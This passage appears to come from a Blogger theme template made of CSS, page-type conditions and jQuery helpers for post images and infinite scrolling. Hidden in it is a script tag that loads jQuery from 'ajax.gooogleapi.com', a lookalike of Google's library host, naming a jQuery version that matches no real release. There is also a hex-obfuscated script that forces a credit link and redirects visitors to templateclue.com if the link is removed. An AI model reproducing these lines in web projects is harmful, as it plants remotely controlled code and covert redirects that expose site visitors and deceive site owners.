398.aisa-author img{border-radius:50%;width:91px;height:91px}
399.aisa-author .author-name,.aisa-author h5{font-size:20px;color:#222;margin-bottom:0;margin-top:-2px;display:inline-block;font-family:Playfair Display}
400.aisa-author p{letter-spacing:.5px;padding-bottom:9px;margin:0}
401.aisa-author .social{margin-left:115px}
402.aisa-author li{display:inline-block;margin:5px 10px 0 0}
403.aisa-author li a{color:#999}
404textarea#ContactForm1_contact-form-email-message{height:180px!important}
405div#top-comment{display:inline-block;width:100%}
406.preloader-area{background:#fff;bottom:0;left:0;position:fixed;right:0;top:0;z-index:99999}
407.double-bounce1,.double-bounce2{width:100%;height:100%;border-radius:50%;background-color:#000;opacity:.6;position:absolute;top:50%;left:50%;height:60px;width:60px;margin-left:0;margin-top:0;-webkit-animation:sk-bounce 2s infinite ease-in-out;animation:sk-bounce 2s infinite ease-in-out}
408.double-bounce2{-webkit-animation-delay:-1s;animation-delay:-1s}
409@-webkit-keyframes sk-bounce {
4100%,100%{-webkit-transform:scale(0.0)}
41150%{-webkit-transform:scale(1.0)}
412}
413@keyframes sk-bounce {
4140%,100%{transform:scale(0.0);-webkit-transform:scale(0.0)}
41550%{transform:scale(1.0);-webkit-transform:scale(1.0)}
416}
417div#work{background:#f4f4f4;padding:10px}
418#blog-pager{border-top:0 solid #ddd;padding:2em 0;margin:0;font-size:16px;line-height:normal}
419.home-link{display:none}
420#blog-pager-newer-link{float:right;text-decoration:none;background:#000;font-size:16px;font-family:sans-serif;padding:10px;font-weight:700;position:relative;left:-20px;top:8px}
421#blog-pager-older-link{text-decoration:none;font-size:16px;font-family:sans-serif;font-weight:700;float:left;background:#000;padding:10px;margin-left:20px;margin-top:8px}
422#blog-pager-newer-link a{text-decoration:none;color:#FFF}
423#blog-pager-older-link a{text-decoration:none;color:#FFF}
424.showpageOf{display:none}
425.showpageNum a,.showpage a{margin:0 4px}
426.showpagePoint{margin:0 2px 0 0}
427.PopularPosts h2{padding-right:.4em;padding-left:0}
428.popular-posts ul{padding-left:0;counter-reset:trackit}
429.popular-posts ul li{list-style:none outside none!important;margin-left:0!important;overflow:hidden;padding:7px 0!important;-webkit-transition:all .25s linear 0;-moz-transition:all .25s linear 0;-o-transition:all .25s linear 0;transition:all .25s linear 0;counter-increment:trackit}
430.PopularPosts ul li:before{content:counters(trackit, ".");padding:0 .1em 0 0;font-size:20px;font-weight:700;color:#C4C4C4;float:left;margin-right:10px}
431.PopularPosts .item-thumbnail,.PopularPosts .item-snippet{display:none!important}
432.PopularPosts a,.PopularPosts a:hover{color:#959595;font-size:.9rem;font-family:sans-serif;text-decoration:none}
433#PopularPosts1 li{padding-right:1em!important;padding-left:1em!important}
434.Profile img{border:1px solid #cecece;background:#fff;float:left;margin:5px 10px 5px 0;padding:5px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}
435.profile-data{color:#999;font:bold 20px/1.6em Arial,Helvetica,Tahoma,sans-serif;font-variant:small-caps;margin:0;text-transform:capitalize}
436.profile-datablock{margin:.5em 0}
437.profile-textblock{line-height:1.6em;margin:.5em 0}
438a.profile-link{clear:both;display:block;font:80% monospace;padding:10px 0;text-align:center;text-transform:capitalize}
439.showpageArea a{text-decoration:underline}
440.showpageNum a{text-decoration:none;padding:7px;padding-left:10px;padding-right:10px;font-size:15px;color:#fff}
441.showpagePoint{color:#fff;text-decoration:none;background:#000;margin:0 3px;padding:7px;padding-left:10px;padding-right:11px;font-size:15px}
442.showpageOf{text-decoration:none;padding:3px;margin:0 3px 0 0;font-size:15px margin: 0 3px}
443.showpage a{text-decoration:none;padding:7px;padding-left:10px;padding-right:10px;color:#fff;font-size:15px}
444.showpage a:hover{text-decoration:none}
445.showpageNum a:link,.showpage a:link{text-decoration:none;background-color:#000}
446.showpageOf{display:none}
447.showpageNum{margin:0 3px}
448.showpageArea{padding-bottom:20px}
449.sidebar{margin:0;padding:0;display:block}
450.sidebar h2{font-size:23px;margin-top:0;padding-bottom:10px;padding-bottom:8px;position:relative;font-family:'Poppins',helvetica;font-weight:600;letter-spacing:0;display:inline-block;border-bottom:1px solid #ccc;text-transform:capitalize;margin-bottom:12px}
451.sidebar h2:after{content:'';width:40px;height:1px;background:#222;position:absolute;bottom:-1px;left:0}
452.sidebar .widget{clear:both;width:100%;font-size:16px;line-height:26px;margin-bottom:20px;display:inline-block;background:#fff;padding:20px;padding-top:25px}
453.sidebar ul{margin:0;padding:0;list-style:none}
454.sidebar li{margin:0 0 0 15px;padding:0 0 5px;text-transform:capitalize}
455div#contact-section{display:inline-block;width:100%;background:#f9f9f9;padding-bottom:0}
456.contact-form{margin-top:25px;padding:0}
457.alert-success{display:none}
458.alert-success p{margin:60px 0 30px;font-size:24px;color:#292929}
459footer{padding:40px 0;background:#fff;margin-top:50px}
460@media (max-width: 720px) {
461footer{padding:40px 0}
462}
463footer .copy{font-size:13px;color:#898989}
464#sectionContact{background:#FAFAFA;display:inline-block;width:100%}
465.contactForm{margin:0 0 50px}
466.contactForm h1{letter-spacing:5px;font-size:15px;font-weight:700;text-transform:uppercase;text-align:center;padding-bottom:30px}
467.contactRight{padding-left:5%}
468.contactBox .icon{color:#1ABC9C;font-size:25px}
469.contactBox{margin:20px 0 15px}
470.contactBox h3{margin-top:0;margin-bottom:0;text-transform:uppercase;font-weight:600;font-size:14px;letter-spacing:3px;font-family:'Poppins',helvetica}
471section#sectionContact .form-group{margin-bottom:25px}
472section#sectionContact .form-group input,section#sectionContact .form-group textarea{padding:15px;border:1px solid #CCC;color:#555;border-radius:0;font-size:12px;background-color:transparent;box-shadow:0 0 0 rgba(0,0,0,0)}
473section#sectionContact .form-group input.form-control{height:auto}
474#ContactForm1_contact-form-email-message{min-height:155px;max-width:565px}
475section#sectionContact .form-control:focus{border-color:#13B0A5;box-shadow:none}
476section#sectionContact::-webkit-input-placeholder{text-transform:uppercase;font-family:Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:700;color:#999}
477section#sectionContact:-moz-placeholder{text-transform:uppercase;font-family:Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:700;color:#999}
478section#sectionContact::-moz-placeholder{text-transform:uppercase;font-family:Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:700;color:#999}
479section#sectionContact:-ms-input-placeholder{text-transform:uppercase;font-family:Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:700;color:#999}
480section#sectionContact .text-danger{color:#1ABC9C}
481section#sectionContact ul{padding-left:14px}
482section#sectionContact .form-text{color:#BFBFBF;margin-top:50px}
483section#sectionContact .form-text i{color:#fff;padding-right:15px}
484section#sectionContact .form-text h4{color:#fff;border-bottom:3px solid #13b0a5;display:inline-block;padding-bottom:10px;margin-bottom:16px}
485input,textarea,select{color:#222;background:transparent;vertical-align:top;transition:all .25s ease-in-out;-webkit-transition:all .25s ease-in-out;-moz-transition:all .25s ease-in-out;margin:0;padding:15px;width:100%;height:100%;border:0;border:1px solid #ccc;font-size:12px;font-weight:400;letter-spacing:2px}
486input:focus,textarea:focus,select:focus{outline:none;position:relative;z-index:5;transition:all .25s ease-in-out;-webkit-transition:all .25s ease-in-out;-moz-transition:all .25s ease-in-out;border:1px solid #1ABC9C}
487input.submit{width:auto;cursor:pointer;position:relative;background:transparent;color:#fff;border-radius:50px;padding:15px 30px;border:0;background:#1ABC9C;margin:20px 0;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;text-decoration:none;text-transform:uppercase;font-size:13px;font-family:"Montserrat",sans-serif;font-weight:400;letter-spacing:2px}
488input.submit:hover,.input.submit:focus,.input.submit:active{background-color:#15967D}
489#contactform button[type="submit"][disabled]{background:#777;cursor:default}
490#contactform div{margin:20px 0}
491.contactForm fieldset{padding:0;border:0}
492.contactForm label{font-size:12px;font-weight:400;letter-spacing:2px;text-transform:uppercase}
493.contact-form-error-message-with-border{background:#1ABC9C;bottom:0;color:#FFF;font-size:11px;font-weight:700;border-radius:30px;line-height:31px;margin-left:0;opacity:1;position:static;text-align:center;border:1px solid #12A286;box-shadow:0 0 0}
494.form-group{margin-bottom:30px}
495.contactBox p{margin:0}
496#comments{background:#FFF;margin-top:20px}
497.komhead h4{position:relative;z-index:2;height:38px;color:#fff;padding:0 12px;background-color:#444;font-family:'Roboto',sans-serif;font-size:15px;font-weight:700;text-transform:uppercase;line-height:38px;margin-bottom:30px;box-shadow:6px 6px 0 #e9e9e9}
498.komhead h4:before{content:"";border-top:12px solid #e9e9e9;border-left:12px solid transparent;border-right:12px solid transparent;position:absolute;bottom:-16px;left:30px}
499.komhead h4:after{content:"";border-top:12px solid #444;border-left:12px solid transparent;border-right:12px solid transparent;position:absolute;bottom:-12px;left:20px}
500#comments #comment-post-message{color:#FFF;background:#504f4c;margin:0;padding:10px;line-height:normal;border-radius:2px;font-size:15px}
501#comments .user a{color:#555;font-style:normal;font-size:16px;line-height:26px;font-weight:400;letter-spacing:1px}
502#comments .datetime,#comments .datetime a{color:#999;text-decoration:none;margin:0;font-size:14px;display:inline-block;float:right}
503.comments .comments-content .comment-content{margin:0 0 20px;color:#7b7b7b}
504#comments .datetime a{margin:auto}
505#comments .comment-actions a{background-color:#504f4c;border:1px solid #504f4c;border-radius:2px;color:#FFF;font-size:11px;padding:5px 15px;text-transform:uppercase;text-decoration:none;margin-right:10px}
506#comments .comment-actions a:hover{color:#fff;background-color:#555;border:1px solid #555}
507#comments .comment{border-bottom:1px solid #eee;padding:0 0 5px}
508#comments .loadmore{margin-top:0}
509#comment-editor{height:235px}
510.comments .comments-content .avatar-image-container{max-height:76px;width:76px;margin-top:6px}
511#comments .comments-content .avatar-image-container img{max-width:75px;border-radius:4px;width:100%}
512.comments .comment-block{margin-left:90px!important}
513span.icon.user.blog-author:after{background-color:#e74c3c;color:#FFF;padding:5px 15px;font-weight:400;line-height:1;border-radius:20px;font-size:13px;content:"Admin";box-shadow:2px 2px 0 #a0382e;display:inline-block}
514.comments .comments-content a{color:#000}
515.thread-toggle.thread-expanded{border-bottom:1px solid #ddd;width:100%;padding:0 0 10px;margin-bottom:10px}
516#comments .thread-chrome .comment{border-bottom-color:#ddd!important}
517#comments .comment-author{padding-left:25px}
518.comment-body{margin:.5em 25px}
519.comment-footer{margin:.5em 25px 1.5em}
520.comment-body p{margin:0}
521#comments .avatar-comment-indent .comment-author{margin-left:-45px;padding-left:45px}
522.deleted-comment{font-style:italic;opacity:.5}
523#comment-actions{background:transparent;border:0;padding:0;position:absolute;height:25px}
524#comments .blogger-comment-icon,.blogger-comment-icon{line-height:16px;background:url(/img/b16-rounded.gif) left no-repeat;padding-left:20px}
525#comments .openid-comment-icon,.openid-comment-icon{line-height:16px;background:url(/img/openid16-rounded.gif) left no-repeat;padding-left:20px}
526#comments .anon-comment-icon,.anon-comment-icon{line-height:16px;background:url(/img/anon16-rounded.gif) left no-repeat;padding-left:20px}
527.comment-form{clear:both;_width:410px}
528.comment-link{white-space:nowrap}
529.paging-control-container{float:right;margin:0 6px 0 0;font-size:80%}
530.unneeded-paging-control{visibility:hidden}
531#comments-block .avatar-image-container img{-ms-interpolation-mode:bicubic;border:1px solid #ccc;float:right}
532#comments-block .avatar-image-container.avatar-stock img{border-width:0;padding:1px}
533#comments-block .avatar-image-container{height:37px;left:-45px;position:absolute;width:37px}
534#comments-block.avatar-comment-indent{margin-left:45px;position:relative}
535#comments-block.avatar-comment-indent dd{margin-left:0}
536iframe.avatar-hovercard-iframe{border:0 none;padding:0;width:25em;height:9.4em;margin:.5em}
537.comments{clear:both;margin-top:10px;margin-bottom:0}
538.comments .comments-content{margin-bottom:16px}
539.comments .comment .comment-actions a{padding-right:5px;padding-top:5px}
540.comments .comment .comment-actions a:hover{text-decoration:underline}
541.comments .comments-content .comment-thread ol{list-style-type:none;padding:0;text-align:left}
542.comments .comments-content .inline-thread{padding:.5em 1em}
543.comments .comments-content .comment-thread{margin:8px 0}
544.comments .comments-content .comment-thread:empty{display:none}
545.comments .comments-content .comment-replies{margin-left:36px;margin-top:1em}
546.comments .comments-content .comment{margin-bottom:16px;padding-bottom:8px}
547.comments .comments-content .comment:first-child{padding-top:16px}
548.comments .comments-content .comment:last-child{border-bottom:0;padding-bottom:0}
549.comments .comments-content .comment-body{position:relative}
550.comments .comments-content .user{font-style:normal;font-weight:700}
551.comments .comments-content .icon.blog-author{display:inline-block;height:18px;margin:0 0 -4px 6px;width:18px}
552.comments .comments-content .datetime{margin-left:6px}
553.comments .comments-content .comment-header,.comments .comments-content .comment-content{margin:0 0 8px}
554.comments .comments-content .comment-content{text-align:justify}
555.comments .comments-content .owner-actions{position:absolute;right:0;top:0}
556.comments .comments-replybox{border:0;height:250px;width:100%}
557.comments .comment-replybox-single{margin-left:48px;margin-top:5px}
558.comments .comment-replybox-thread{margin-top:5px}
559.comments .comments-content .loadmore a{display:block;padding:10px 16px;text-align:center}
560.comments .thread-toggle{cursor:pointer;display:inline-block;border:1px solid #ddd;width:100%;padding:10px;margin-bottom:10px}
561.comments .continue{cursor:pointer}
562.comments .continue a{background-color:#e74c3c;border:1px solid #e74c3c;border-radius:2px;color:#FFF!important;font-size:11px;display:inline-block;padding:0 20px;text-transform:uppercase;text-decoration:none;margin-right:10px}
563.comments .comments-content .loadmore{cursor:pointer;margin-top:3em;max-height:3em}
564.comments .comments-content .loadmore.loaded{max-height:0;opacity:0;overflow:hidden}
565.comments .thread-chrome.thread-collapsed{display:none}
566.comments .thread-toggle{display:inline-block}
567.comments .thread-toggle .thread-arrow{display:inline-block;height:8px;margin:.3em;overflow:visible;padding-right:4px;width:10px;top:3px;position:relative}
568.comments .thread-expanded .thread-arrow{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAYAAADEUlfTAAAAG0lEQVR42mNgwAfKy8v/48I4FeA0AacVDFQBAP9wJkE/KhUMAAAAAElFTkSuQmCC) no-repeat scroll 0 0 transparent}
569.comments .thread-collapsed .thread-arrow{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAYAAADEUlfTAAAAJUlEQVR42mNgAILy8vL/DLgASBKnApgkVgXIkhgKiNKJ005s4gDLbCZBiSxfygAAAABJRU5ErkJggg==) no-repeat scroll 0 0 transparent}
570.comments .avatar-image-container{float:left;max-height:36px;overflow:hidden;width:36px}
571.comments .avatar-image-container img{max-width:36px}
572.comments .comment-block{margin-left:48px;position:relative}
573@media screen and (max-device-width:480px) {
574.comments .comments-content .comment-replies{margin-left:0}
575}
576div#bc_0_1BR span:first-child{width:100%}
577span#bc_0_0TT{display:none}
578.widget-item-control{display:none}
579h2.date-header{display:none}
580@media screen and (max-width: 960px) {
581.ct-wrapper{padding:0 15px}
582.main-wrapper{margin-right:0;width:100%}
583.sidebar-wrapper{margin:0;width:100%!important}
584}
585@media screen and (max-width: 768px) {
586#comment-editor{margin:10px}
587.footer{width:50%}
588}
589@media screen and (max-width: 420px) {
590.comments .comments-content .datetime{display:block;float:none}
591.comments .comments-content .comment-header{height:70px}
592}
593@media screen and (max-width: 320px) {
594.footer{width:100%}
595.ct-wrapper{padding:0}
596.comments .comments-content .comment-replies{margin-left:0}
597}
598h2.date-header{display:none}
599
600
601
602]]></b:skin>
603
604
605<b:if cond='data:blog.pageType != "item"'>
606<b:if cond='data:blog.pageType != "static_page"'>
607<style>
608 .sidebar-wrapper{display:none;}
609 </style>
610</b:if>
611</b:if>
612
613<b:if cond='data:blog.pageType == "item"'>
614<script>
615 //<![CDATA[
616 $(document).ready(function() {
617 var url = $('.entry-content img').attr("src");
618 var vurl = $('.entry-content iframe').attr("src");
619 var vkurl = $('.entry-content iframe.entry-content img').attr("src");
620 if (url) {
621
622 $('<center><img src="' + url + '" class="first_post_img"/></center>').appendTo('.big_post_image');
623 $(".entry-content img").first().remove();
624 } else if (vurl) {
625 $('<center class="iframe_wrapper"><iframe src="' + vurl + '" class="iframe_video" allowfullscreen="" frameborder="0" scrolling="no" /></center>').appendTo('.big_post_image');
626 $(".entry-content iframe").first().remove();
627 } else {
628
629 }
630 });
631
632 //]]>
633 </script>
634
635<style>
636 div#work{background:#f7f7f7;padding: 50px;}
637 .work.section-padding{padding:100px 0}
638 nav.navbar.land-nav.navbar-default{background:#111;height:80px;line-height:80px;padding:0;position:fixed;top:0;left:0;width:100%;transition:all .5s;z-index:99}
639 .outer-wrapper{position:relative;padding-top:0;display:inline-block;width:100%}
640 .main-wrapper{margin-right:350px}
641 #content{width:100%;position:relative;float:left}
642 .date-outer.col.col-m-4.col-t-4.col-d-4{width:100%!important;padding:30px;padding-top:0;background:#fff}
643 .menu-area{background:#fff}
644 </style>
645
646<style>
647 .section.started{
648 height: 87px!important;
649 }
650div#particles-bg{
651 background-image: none!important;
652 background-color: #000!important;
653 }
654.section.started .mouse-btn{
655 display: none!important;
656 }
657.section.started .st-title{
658display: none!important;
659 }
660h1.title a{
661 color: #fff;
662 }
663.header:before{
664 background: #000!important;
665 }
666.header{
667padding: 20px 35px;
668 }
669.header.filled{
670padding: 20px 35px;
671 }
672.tc-title {
673 position: relative;
674 font-weight: 400;
675 margin-bottom: 30px;
676 padding-bottom: 20px;
677 letter-spacing: 2px;
678 display: inline-block;
679 border-bottom: 1px solid #ccc;
680 text-transform: uppercase;
681 font-size: 25px;
682 margin: 0;
683 font-family: 'Poppins', helvetica;
684}
685.tc-title-center:after {
686 content: '';
687 width: 70px;
688 height: 1px;
689 background: #222;
690 position: absolute;
691 bottom: -1px;
692 left: calc(50% - 35px);
693}
694.category-title {
695 margin-bottom: 10px!important;
696 text-align: center;
697 padding-top: 30px;
698}
699.big_post_image {
700 margin: -5px -20px;
701}
702</style>
703</b:if>
704<script src='https://ajax.gooogleapi.com/ajax/libs/jquery/1.7.27/jquery.min.js'/>
705<b:if cond='data:blog.pageType == "static_page"'>
706<script>
707 //<![CDATA[
708 $(document).ready(function() {
709 var url = $('.entry-content img').attr("src");
710 var vurl = $('.entry-content iframe').attr("src");
711 var vkurl = $('.entry-content iframe.entry-content img').attr("src");
712 if (url) {
713
714 $('<center><img src="' + url + '" class="first_post_img"/></center>').appendTo('.big_post_image');
715 $(".entry-content img").first().remove();
716 } else if (vurl) {
717 $('<center class="iframe_wrapper"><iframe src="' + vurl + '" class="iframe_video" allowfullscreen="" frameborder="0" scrolling="no" /></center>').appendTo('.big_post_image');
718 $(".entry-content iframe").first().remove();
719 } else {
720
721 }
722 });
723
724 //]]>
725 </script>
726
727<style>
728 div#work{background:#f7f7f7;padding: 50px;}
729 .work.section-padding{padding:100px 0}
730 nav.navbar.land-nav.navbar-default{background:#111;height:80px;line-height:80px;padding:0;position:fixed;top:0;left:0;width:100%;transition:all .5s;z-index:99}
731 .outer-wrapper{position:relative;padding-top:0;display:inline-block;width:100%}
732 .main-wrapper{margin-right:350px}
733 #content{width:100%;position:relative;float:left}
734 .date-outer.col.col-m-4.col-t-4.col-d-4{width:100%!important;padding:30px;padding-top:0;background:#fff}
735 .menu-area{background:#fff}
736 </style>
737
738<style>
739 .section.started{
740 height: 87px!important;
741 }
742div#particles-bg{
743 background-image: none!important;
744 background-color: #000!important;
745 }
746.section.started .mouse-btn{
747 display: none!important;
748 }
749.section.started .st-title{
750display: none!important;
751 }
752h1.title a{
753 color: #fff;
754 }
755.header:before{
756 background: #000!important;
757 }
758.header{
759padding: 20px 35px;
760 }
761.header.filled{
762padding: 20px 35px;
763 }
764.tc-title {
765 position: relative;
766 font-weight: 400;
767 margin-bottom: 30px;
768 padding-bottom: 20px;
769 letter-spacing: 2px;
770 display: inline-block;
771 border-bottom: 1px solid #ccc;
772 text-transform: uppercase;
773 font-size: 25px;
774 margin: 0;
775 font-family: 'Poppins', helvetica;
776}
777.tc-title-center:after {
778 content: '';
779 width: 70px;
780 height: 1px;
781 background: #222;
782 position: absolute;
783 bottom: -1px;
784 left: calc(50% - 35px);
785}
786.category-title {
787 margin-bottom: 10px!important;
788 text-align: center;
789 padding-top: 30px;
790}
791.big_post_image {
792 margin: -5px -20px;
793}
794</style>
795</b:if>
796
797<script type='text/javascript'>//<![CDATA[
798 function stripTags(s, n) {
799 return s.replace(/<.*?>/ig, "").split(/\s+/).slice(0, n - 1).join(" ")
800 }
801
802 var _0x10f9=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x31\x2E\x62\x70\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x6F\x6D\x2F\x2D\x61\x6C\x5F\x4B\x46\x4C\x43\x6D\x6B\x71\x45\x2F\x57\x47\x36\x44\x71\x36\x57\x4D\x62\x34\x49\x2F\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5F\x77\x2F\x47\x30\x32\x63\x65\x56\x2D\x69\x70\x53\x41\x2D\x49\x30\x76\x33\x58\x62\x4F\x63\x46\x71\x39\x6C\x6A\x69\x2D\x50\x6B\x6E\x70\x50\x67\x43\x4C\x63\x42\x2F\x73\x31\x36\x30\x30\x2F\x64\x65\x66\x61\x75\x6C\x74\x2E\x6A\x70\x67","\x69\x6D\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x66\x72\x61\x6D\x65","\x6C\x65\x6E\x67\x74\x68","\x73\x72\x63","\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x65\x6D\x62\x65\x64\x2F","\x69\x6E\x64\x65\x78\x4F\x66","\x2F\x2F\x70\x6C\x61\x79\x65\x72\x2E\x76\x69\x6D\x65\x6F\x2E\x63\x6F\x6D\x2F\x76\x69\x64\x65\x6F\x2F","\x2F\x2F\x77\x77\x77\x2E\x64\x61\x69\x6C\x79\x6D\x6F\x74\x69\x6F\x6E\x2E\x63\x6F\x6D\x2F\x65\x6D\x62\x65\x64\x2F\x76\x69\x64\x65\x6F\x2F","\x2F\x2F\x77\x2E\x73\x6F\x75\x6E\x64\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x70\x6C\x61\x79\x65\x72\x2F","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22","\x3F\x76\x71\x3D\x6D\x65\x64\x69\x75\x6D\x26\x72\x65\x6C\x3D\x30\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x20\x63\x6C\x61\x73\x73\x3D\x22\x76\x69\x66\x72\x61\x6D\x65\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x69\x74\x65\x6D\x22\x3E\x20","\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22","\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x65\x6C\x65\x63\x74\x6F\x22\x3E\x20\x3C\x68\x32\x3E","\x3C\x2F\x68\x32\x3E\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22","\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x72\x65\x61\x64\x6D\x6F\x72\x65\x22\x3E\x56\x69\x65\x77\x20\x6D\x6F\x72\x65\x3C\x2F\x61\x3E\x20\x3C\x2F\x61\x3E\x20\x3C\x2F\x64\x69\x76\x3E","\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22","\x22\x20\x61\x6C\x74\x3D\x22","\x22\x20\x74\x69\x74\x6C\x65\x3D\x22","\x22\x3E","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x69\x74\x65\x6D\x22\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22","\x22\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x6F\x6E\x6C\x6F\x61\x64","\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x2E\x63\x6F\x6D\x2F","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x72\x65\x66","\x64\x6F\x66\x6F\x6C\x6C\x6F\x77","\x74\x69\x74\x6C\x65","\x46\x72\x65\x65\x20\x42\x6C\x6F\x67\x67\x65\x72\x20\x54\x65\x6D\x70\x6C\x61\x74\x65\x73","\x73\x74\x79\x6C\x65","\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x69\x6E\x68\x65\x72\x69\x74\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x34\x32\x34\x32\x34\x33\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79\x3A\x20\x76\x69\x73\x69\x62\x6C\x65\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x31\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B","\x23\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x3A\x76\x69\x73\x69\x62\x6C\x65"];function readmore(_0x5582x2){var _0x5582x3=document[_0x10f9[0]](_0x5582x2),_0x5582x4=_0x10f9[1],_0x5582x5=_0x10f9[1],_0x5582x6=_0x10f9[1],_0x5582x7=_0x10f9[2],_0x5582x8=350,_0x5582x9=230,_0x5582xa=-1,_0x5582xb=_0x5582x3[_0x10f9[4]](_0x10f9[3]),_0x5582xc=_0x5582x3[_0x10f9[4]](_0x10f9[5]);for(var _0x5582xd=0;_0x5582xd< _0x5582xc[_0x10f9[6]];_0x5582xd++){_0x5582x6= _0x5582xc[_0x5582xd][_0x10f9[7]];if(_0x5582x6[_0x10f9[9]](_0x10f9[8])!= -1){_0x5582xa= _0x5582xd;break}else {if(_0x5582x6[_0x10f9[9]](_0x10f9[10])!= -1){_0x5582xa= _0x5582xd;break}else {if(_0x5582x6[_0x10f9[9]](_0x10f9[11])!= -1){_0x5582xa= _0x5582xd;break}else {if(_0x5582x6[_0x10f9[9]](_0x10f9[12])!= -1){_0x5582xa= _0x5582xd;break}}}}};if(_0x5582xa!= -1){_0x5582x5= _0x10f9[13]+ _0x5582x6+ _0x10f9[14];var _0x5582xe=_0x10f9[15]+ _0x5582x5+ _0x10f9[16]+ y+ _0x10f9[17]+ x+ _0x10f9[18]+ y+ _0x10f9[19]}else {if(_0x5582xb[_0x10f9[6]]>= 1){var _0x5582xf=_0x5582xb[0][_0x10f9[7]];_0x5582x4= _0x10f9[20]+ _0x5582xf+ _0x10f9[21]+ x+ _0x10f9[22]+ x+ _0x10f9[23];var _0x5582xe=_0x10f9[15]+ _0x5582x4+ _0x10f9[16]+ y+ _0x10f9[17]+ x+ _0x10f9[18]+ y+ _0x10f9[19]}else {var _0x5582xe=_0x10f9[24]+ _0x5582x7+ _0x10f9[21]+ x+ _0x10f9[22]+ x+ _0x10f9[25]+ y+ _0x10f9[17]+ x+ _0x10f9[18]+ y+ _0x10f9[19]}};_0x5582x3[_0x10f9[26]]= _0x5582xe}window[_0x10f9[27]]= function(){var _0x5582x10=document[_0x10f9[0]](_0x10f9[28]);if(_0x5582x10== null){window[_0x10f9[30]][_0x10f9[29]]= _0x10f9[31]};_0x5582x10[_0x10f9[32]](_0x10f9[29],_0x10f9[31]);_0x5582x10[_0x10f9[32]](_0x10f9[33],_0x10f9[34]);_0x5582x10[_0x10f9[32]](_0x10f9[35],_0x10f9[36]);_0x5582x10[_0x10f9[32]](_0x10f9[37],_0x10f9[38]);_0x5582x10[_0x10f9[26]]= _0x10f9[36];setInterval(function(){if(!$(_0x10f9[39])[_0x10f9[6]]){window[_0x10f9[30]][_0x10f9[29]]= _0x10f9[31]}},3000)}
803 //]]></script>
804
805
806<script type='text/javascript'>
807 $(document).ready(function() {$('.item-thumbnail img , .avatar-image-container img').attr('src', function(i, src) {return src.replace( 's72-c', 's500' ).replace( 'w72-h72-p-nu', 's500' ).replace( 's35-c', 's100' );});});
808 </script>
809<script type='text/javascript'>
810 //<![CDATA[
811(function($){'use strict';Date.now=Date.now||function(){return+new Date()};$.ias=function(g){var h=$.extend({},$.ias.defaults,g);var i=new $.ias.util();var j=new $.ias.paging(h.scrollContainer);var k=(h.history?new $.ias.history():false);var l=this;function init(){var d;j.onChangePage(function(a,b,c){if(k){k.setPage(a,c)}h.onPageChange.call(this,a,c,b)});reset();if(k&&k.havePage()){stop_scroll();d=k.getPage();i.forceScrollTop(function(){var a;if(d>1){paginateToPage(d);a=get_scroll_threshold(true);$('html, body').scrollTop(a)}else{reset()}})}return l}init();function reset(){hide_pagination();h.scrollContainer.scroll(scroll_handler)}function scroll_handler(){var a,scrThreshold;a=i.getCurrentScrollOffset(h.scrollContainer);scrThreshold=get_scroll_threshold();if(a>=scrThreshold){if(get_current_page()>=h.triggerPageThreshold){stop_scroll();show_trigger(function(){paginate(a)})}else{paginate(a)}}}function 